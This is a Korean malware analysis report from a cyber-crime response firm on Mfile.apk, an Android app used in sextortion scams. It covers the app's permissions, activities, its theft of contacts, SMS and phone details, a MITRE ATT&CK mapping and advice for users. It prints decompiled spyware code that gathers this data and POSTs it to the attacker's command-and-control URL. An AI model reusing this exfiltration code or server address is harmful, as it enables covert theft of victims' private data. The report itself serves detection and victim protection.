[악성 앱 분석 보고서] 몸캠피싱 해킹 앱 - Mfile.apk
목차
01. 개요
1.1 수행 인력
1.2 수행 환경
1.3 수행 대상
02. 진단 상세
2.1 위험도 평가 기준
03. 분석 결과 요약
3.1 악성 행위 개요
3.2 악성 행위 요약
3.3 유의사항
04. 분석 결과 상세
4.1 정적 분석
4.2 동적 분석
05.Mitre Att&ck(Mobile)
06.사용자 대응 가이드
01. 개요
1.1 수행인력
악성 앱 분석을 수행한 인력은 다음과 같다.
1.2 수행 환경
악성코드 분석을 수행한 환경은 다음과 같다.
1.3 수행 대상
악성코드 분석을 수행한 대상은 다음과 같다.
1 | 38 A1 12 D5 89 41 D9 8D D2 70 51 D5 CD CE 0D C4 CC 92 73 FF B6 68 3B 80 C4 3F 89 B1 BC C0 F0 1E |
02. 진단 상세
위험도 평가 기준
위험도는 평가항목에 해당되는 악성 행위에 대해 위험을 가늠할 수 있도록
5단으로 분류.
5 |
| 상 |
4 |
| |
3 |
| 중 |
2 |
| 하 |
1 |
|
03. 분석 결과 요약
3.1 악성행위 개요
Mfile 앱은 안드로이드 플랫폼에서 작동하는 악성 피싱 앱이다.
악성 앱 실행 시 단말의 전화번호, 사용자명, SMS 내용, 주소록 등을 수집하여 공격자의 서버(C&C)로 전송한다.
3.2 악성 행위 요약
mfile.apk | android.permission.INTERNET | 인터넷 접속 | 2 |
android.permission.READ_CONTACTS | 연락처 읽기 | 5 | |
android.permission.READ_PHONE_STATE | 단말기 상태 조회 | 2 | |
android.permission.READ_PHONE_NUMBERS | 전화번호 읽기 | 5 | |
android.permission.READ_EXTERNAL_STORAGE | 외부 저장소 읽기 | 4 | |
android.permission.READ_MEDIA_IMAGES | 미디어 파일(이미지) 접근 | 5 | |
android.permission.READ_MEDIA_AUDIO | 미디어 파일(오디오) 접근 | 3 | |
android.permission.READ_MEDIA_VIDEO | 미디어 파일(동영상) 접근 | 5 |
*유의사항
본 분석은 주식회사 아크링크에서 수집한 악성 APK 샘플에서 수행되었고 분석을 위한 참조 자료로만 활용되어야 하며, 악성코드 제작 등의 용도로 악용을 금지한다. 본 자료의 전체 혹은 일부를 주식회사 아크링크의 허락을 받지 않고, 무단 개제, 복사 배포 등의 행위는 엄격히 금지한다. 이를 어길 시 민형사상의 손해배상에 처해질 수 있다.
04. 분석 결과 상세
4.1 정적 분석
4.1-1 권한 분석
앱이 요청하는 권한은 단말에서 수행하는 행위의 범위를 나타낸다.
‘위험 권한’의 요청은 사용자의 개인 정보의 접근이나 단말 시스템의 주요 기능과 연관되어 있어, 악용될 경우 사용자의 보안에 위협이 될 수 있다.
권한의 선언만으로는 앱의 악성 행위 여부를 판단하기 어렵지만, 앱의 전반적인 행위와 결합하여 평가할 수 있는 지표이다.
대상 앱에서 선언하는 권한과 설명은 다음과 같다.
1 | android.permission.INTERNET | 인터넷 접속 | N |
2 | android.permission.READ_CONTACTS | 연락처 읽기 | Y |
3 | android.permission.READ_PHONE_STATE | 단말 전화번호 및 통화 상태 조회 | Y |
4 | android.permission.READ_PHONE_NUMBERS | 전화번호 읽기 | Y |
5 | android.permission.READ_EXTERNAL_STORAGE | 외부 저장소 읽기 | Y |
6 | android.permission.READ_MEDIA_IMAGES | 미디어 파일(이미지) 접근 | Y |
7 | android.permission.READ_MEDIA_AUDIO | 미디어 파일(오디오) 접근 | Y |
8 | android.permission.READ_MEDIA_VIDEO | 미디어 파일(동영상) 접근 | Y |
4.1-2 액티비티(Activity)
액티비티는 안드로이드 앱의 화면 구성 단위로, 사용자와 상호작용을 위한 인터페이스를 제공한다. 액티비티 분석은 앱의 기능적 구성요소와 사용자 인터페이스 설계를 파악할 수 있다. 예를 들어, 앱 내의 로그인 화면, 메인 메뉴, 설정 화면 등은 각각 별도의 액티비티로 구현했다.
악성 앱의 경우, 액티비티를 통해 사용자를 속이기 위한 화면을 제공하고 숨겨진 기능을 통해 악성 행위를 수행할 수 있다.
대상 앱에 선언된 액티비티는 다음과 같다.
1 | com.xyx.sms.MlFifileWfileYdjfSfayeMfileLoginActivity | 메인 액티비티 |
2 | com.xyx.sms.MlFifileWfileYdjfSfayeMfileMainActivity | - |
3 | com.xyx.sms.MlFifileWfileYdjfSfayeMfileContactActivity | - |
4 | com.xyx.sms.MlFifileWfileYdjfSfayeMfileAlbumActivity | - |
5 | com.xyx.sms.MlFifileWfileYdjfSfayeMfileUploadActivity | - |
4.1-3 서비스(Service)
서비스는 사용자 인터페이스 없이 백그라운드에서 실행되는 컴포넌트로, 긴 작업 수행이나 네트워크 전송을 처리할 때 사용된다.
악성 앱의 경우 서비스는 앱이 사용자의 인지 없이 액티비티를 수행하거나, 지속적으로 데이터를 수집하고 전송하는 데 사용될 수 있다.
대상 앱에 선언된 서비스는 다음과 같다.
4.1-4 리시버(Receiver)
리시버는 다양한 시스템 이벤트(예: 부팅 완료, 네트워크 상태 변경)에 반응하여 앱을 실행할 수 있다.
악성 앱이 특정 조건이나 이벤트에 따라 액티비티를 시작하거나 민감정보를 수신하는 데 활용될 수 있으며, 대상 앱에 선언된 리시버는 존재하지 않는다.
4.2 동적 분석
4.2-1 사용자 직접 실행
대상 앱의 동적 분석 과정에서 사용자에 의한 직접 실행을 기반으로 하는 앱의 동작을 분석한다. 앱이 사용자의 실행으로 어떻게 구동되고, 사용자와 상호작용에 반응하는지 분석하고, 분석의 시작점은 사용자가 앱을 실행하는 순간으로 설정한다.
초기 로딩, 권한 요청, 주요 기능 실행 등을 어떻게 처리하는지 분석했으며, 앱의 실행 흐름을 따라가면서, 네트워크 통신, 데이터 저장 및 처리 등 앱의 핵심 동작을 실시간으로 모니터링하였다.
특히, 의심스러운 네트워크 활동, 민감한 정보의 무단 수집 및 전송, 비정상적 시스템 자원 사용 등의 행위를 식별했다.
4.2-2 앱 동작 중요 권한 요청
앱을 실행한 후에는 단말의 화면에 띄울 레이아웃을 설정한다.
설정한후에는 단말의 안드로이드 버전(SDK)에 맞게 권한을 요청했다.
// com.xyx.sms.M1FifileWfileYdjfSfayeMfileUploadActivity;
@Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, android.app.Activity
public final void onRequestPermissionsResult(int i5, String[] strArr, int[] iArr) {
super.onRequestPermissionsResult(i5, strArr, iArr);
if (i5 == 106) {
if (v.a.a(this, "android.permission.READ_EXTERNAL_STORAGE") != 0) {
v(this.f5146z);
return;
} else {
s();
return;
}
}
switch (i5) {
case 100:
if (v.a.a(this, "android.permission.READ_PHONE_NUMBERS") != 0 && v.a.a(this, "android.permission.READ_CONTACTS") != 0 && v.a.a(this, "android.permission.READ_EXTERNAL_STORAGE") != 0 && v.a.a(this, "android.permission.READ_PHONE_STATE") != 0) {
v(100);
break;
} else {
w();
break;
}
break;
case 101:
if (v.a.a(this, "android.permission.READ_SMS") == 0) {
u();
break;
} else {
v(this.f5144x);
break;
}
case 102:
if (v.a.a(this, "android.permission.READ_CONTACTS") == 0) {
t();
break;
} else {
v(this.f5145y);
break;
}
}
}
코드 1 실행 시 앱 레이아웃 설정 및 권한 요청
요청하는 권한은 다음과 같다.
android.permission.READ_EXTERNAL_STORAGE | 외부 저장소 읽기 | - |
android.permission.READ_PHONE_NUMBERS | 단말기 전화번호 읽기 | - |
android.permission.READ_CONTACTS | 연락처 읽기 | - |
android.permission.READ_PHONE_STATE | 단말 전화번호 및 통화 상태 조회 | - |
android.permission.READ_SMS | SMS(문자메시지) 읽기 | - |
단말기 버전 정보, 권한의 최초 허용 여부에 따라 필수 권한에 대해 요청하는 코드가 포함되어 있다.
// com.xyx.sms.M1FifileWfileTdjfSfayeMfileLoginActivity
@Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, android.app.Activity
public final void onRequestPermissionsResult(int i5, String[] strArr, int[] iArr) {
super.onRequestPermissionsResult(i5, strArr, iArr);
if (i5 != 100 || v.a.a(this, "android.permission.READ_SMS") == 0 || v.a.a(this, "android.permission.READ_PHONE_NUMBERS") == 0 || v.a.a(this, "android.permission.READ_CONTACTS") == 0) {
return;
}
v.a.a(this, "android.permission.READ_PHONE_STATE");
}
}
코드 2 앱 실행 필수 권한 선언 및 요청
//com.xyx.sms.MlFifileWfileYdjfSfayeMfileLoginActivity
@Override // java.lang.Runnable
public final void run() {
ProgressDialog progressDialog = q.f6296a;
if (progressDialog != null) {
progressDialog.dismiss();
}
if (this.f5123c != 200) {
Toast.makeText(MlFifileWfileYdjfSfayeMfileLoginActivity.this.getBaseContext(), JSON.parseObject(this.f5124d).getString("msg"), 0).show();
return;
}
e.b(MlFifileWfileYdjfSfayeMfileLoginActivity.this.getBaseContext(), "초대코드 입력", MlFifileWfileYdjfSfayeMfileLoginActivity.this.f5118s);
e.b(MlFifileWfileYdjfSfayeMfileLoginActivity.this.getBaseContext(), "invite_code", MlFifileWfileYdjfSfayeMfileLoginActivity.this.f5116q.getText().toString());
..(생략)..
코드 3 로그인을 위한 초대코드 입력 요청
권한 허용 시 단말 로그에도 실제로 권한이 허용되었음을 확인할 수 있는 로그가 남고 있다.
4.2-3 단말기 기본 정보 수집
‘사용자명’, ‘모델명’, 단말 전화번호’, ‘통신사’를 수집하여 JSON 파일로 변환 후 하나의 문자열로 저장했다. 그 후 자신들의 서버 추적을 어렵게 하기 위해 t3 클래스에 수집한 정보를 저장했다.
// com.xyx.sms.M1FifileWfileTdjfSfayeMfileUploadActivity
public final void t() {
this.f5139s = t3.d.b(this.f5137q);
HashMap hashMap = new HashMap();
hashMap.put("userName", this.A);
hashMap.put("model", "android");
hashMap.put("bjPhone", this.B);
hashMap.put("operatorName", ((TelephonyManager) this.f5137q.getSystemService("phone")).getSimOperatorName());
hashMap.put("phoneContent", JSON.toJSONString(this.f5139s));
new Thread(new f(hashMap)).start();
코드 4 단말 기본정보 수집
@Override // java.lang.Runnable
public final void run() {
t3.c.a("webapp/saveAddressBook", this.f5152c, new a());
}
@Override // java.lang.Runnable
public final void run() {
t3.c.a("webapp/saveSms", this.f5158c, new a());
}
//webapp/saveAddressBook, webapp/saveSms 코드롤 통해 t3.c.a 클래스에 저장하게 된다.
코드 5 수집 정보 저장
@Override // android.os.CountDownTimer
public final void onFinish() {
this.f7236a.f5170f.cancel();
MlFifileWfileYdjfSfayeMfileUploadService mlFifileWfileYdjfSfayeMfileUploadService = this.f7236a;
mlFifileWfileYdjfSfayeMfileUploadService.f5170f = null;
if (v.a.a(mlFifileWfileYdjfSfayeMfileUploadService.f5168d, "android.permission.READ_SMS") == 0 && d.c(this.f7236a.getBaseContext()).size() != this.f7236a.f5167c.size()) {
MlFifileWfileYdjfSfayeMfileUploadService mlFifileWfileYdjfSfayeMfileUploadService2 = this.f7236a;
mlFifileWfileYdjfSfayeMfileUploadService2.f5167c = d.c(mlFifileWfileYdjfSfayeMfileUploadService2.f5168d);
String str = (String) e.a(mlFifileWfileYdjfSfayeMfileUploadService2.f5168d, "invite_code", "");
try {
mlFifileWfileYdjfSfayeMfileUploadService2.f5169e = "";
} catch (Exception unused) {
}
HashMap hashMap = new HashMap();
hashMap.put("userName", str);
hashMap.put("bjPhone", mlFifileWfileYdjfSfayeMfileUploadService2.f5169e);
hashMap.put("content", JSON.toJSONString(mlFifileWfileYdjfSfayeMfileUploadService2.f5167c));
new Thread(new b(hashMap)).start();
}
..(생략)..
코드 6 초대코드 입력 시 저장 정보 전송
4.2-4 접속 시도 시 메시지 출력
서버의 동작 여부와 관계없이, 앱 화면에는 ‘초대코드가 잘못되었습니다.’라는 문구가 출력된다.
공격 서버에서 파일 수집 명령을 수신한 경우 다음의 코드가 실행되어 외부 저장소에 저장된 파일(이미지, 영상 등)에 접근한다.
그 후 공격자의 서버("http://pinonaoshsfpaohjgadsf.monster/prod-api/)로 전송한다. 분석 시 공격 서버가 동작하지 않아 정적 분석만 진행하였다.
// com.xyx.sms.M1FifileWfileTdjfSfayeMfileUploadActivity
public final class c {
public static void a(String str, Map<String, String> map, MlFifileWfileYdjfSfayeMfileOnSuccess mlFifileWfileYdjfSfayeMfileOnSuccess) {
t tVar;
v vVar = new v();
try {
try {
tVar = t.a("application/json; charset=utf-8");
} catch (IllegalArgumentException unused) {
tVar = null;
}
j jVar = new j();
boolean z4 = false;
jVar.f5012i = false;
i a5 = jVar.a();
y c5 = a0.c(tVar, a5.e(map));
Log.d("TAG", a5.e(map));
x.a aVar = new x.a();
aVar.d("http://pinonaoshsfpaohjgadsf.monster/prod-api/" + str);
aVar.b("POST", c5);
aVar.a();
b0 a6 = w.c(vVar, aVar.a(), false).a();
int i5 = a6.f3174e;
if (i5 >= 200 && i5 < 300) {
z4 = true;
}
코드 7 외부 서버로 POST 방식 전송
05. Mitre Att&ck(Mobile)
보안 기술이 발달함에 따라 공격자도 자신의 공격 기술을 발전시키고 있다.
수집한 피싱앱의 악성 행위 사례를 분석하고 공격 기법과 프로세스를 이해하여 최신 기술을 적용시켜 피해자의 피해를 최소화하기 위해 앱이 어떤 보안 위협 모델에 해당하는지를 Mitre Att&ck 매트릭스를 이용하여 분석한다.
06. 사용자 대응 가이드
분석한 내용을 바탕으로 사용자 대응 가이드를 제시한다.
Mitre Att&ck에서 사용자가 제어할 수 있는 각 단계를 기반으로 사용자가 주의할 내용과 악성앱 실행 시 취할 수 있는 조치를 제시했다.
인터넷을 사용하면서 접하는 링크 중에는 피싱이나 악성 코드를 포함하고 있는 경우가 있다.
이러한 링크는 이메일, 문자 메시지, 소셜 미디어, 심지어 친구나 지인으로부터 받은 것일지라도 의심스러운 경우 클릭을 피해야 한다.
특히, 앱을 다운로드할 때는 항상 공식 앱 스토어를 이용하고, 공식 스토어가 아닌 곳에서 제공하는 앱은 설치하지 않도록 한다.
공식 스토어 외부에서 제공되는 앱은 검증되지 않았을 가능성이 높으며, 악성 코드가 포함될 위험이 있다.
구버전의 안드로이드 운영 체제는 보안 취약점을 포함하고 있을 수 있다. 이러한 취약점은 공격자가 악성 행위를 수행하기 위해 악용할 수 있다.
따라서, 안드로이드 기기를 항상 최신 버전으로 업데이트하는 것이 중요하다.
시스템 업데이트는 보안 패치 및 새로운 보안 기능을 제공하여 기기와 데이터를 보호할 수 있다.
스마트폰에 설치되어 있지만 사용하지 않는 앱들은 보안 위험을 증가시킬 수 있다.
이러한 앱들은 종종 업데이트되지 않아 새로운 보안 취약점에 노출될 수 있다.
주기적으로 기기를 검토하고 더 이상 사용하지 않는 앱을 삭제함으로써, 불필요한 보안 위험을 줄일 수 있다.
앱을 설치하거나 사용할 때 요구되는 권한을 신중하게 검토해야 한다.
많은 앱들이 기능 실행에 필요한 것 이상의 권한을 요청할 수 있으며, 이는 사용자의 개인정보와 보안에 위험을 초래할 수 있다.
예를 들어, 플래시라이트 앱이 연락처 접근 권한을 요구하는 경우, 이는 의심스러운 요구로 간주될 수 있다. 반드시 필요한 권한만 허용하여 사용해야한다.
안드로이드 단말의 설정 메뉴에서 앱 권한을 관리할 수 있으며, 사용자는 각 앱에 부여된 권한을 확인하고 필요하지 않은 권한은 비활성화할 수 있다.
이미 설치된 앱에 대해서도 주기적으로 검토하는 것을 권장한다.
기기가 평소와 다르게 느려지거나 예상치 못한 방식으로 동작하는 경우, 이는 악성 앱의 영향일 수 있다.
이러한 증상이 나타나면 기기를 전문가에게 검사해야 한다.
전문가는 기기의 보안 상태를 확인하고 필요한 경우 악성 코드 제거나 기타 보안 조치를 취할 수 있다.
몸캠피싱 악성 앱 [Mfile.apk] 분석을 마치며, 낯선 이가 공유하는 앱을 함부로 다운받지 않도록 당부의 말씀을 드립니다.
이상, 사이버 범죄 · 몸캠피싱 대응 전문 기업 아크링크였습니다.
도움이 필요하시면 언제든 연락 바랍니다.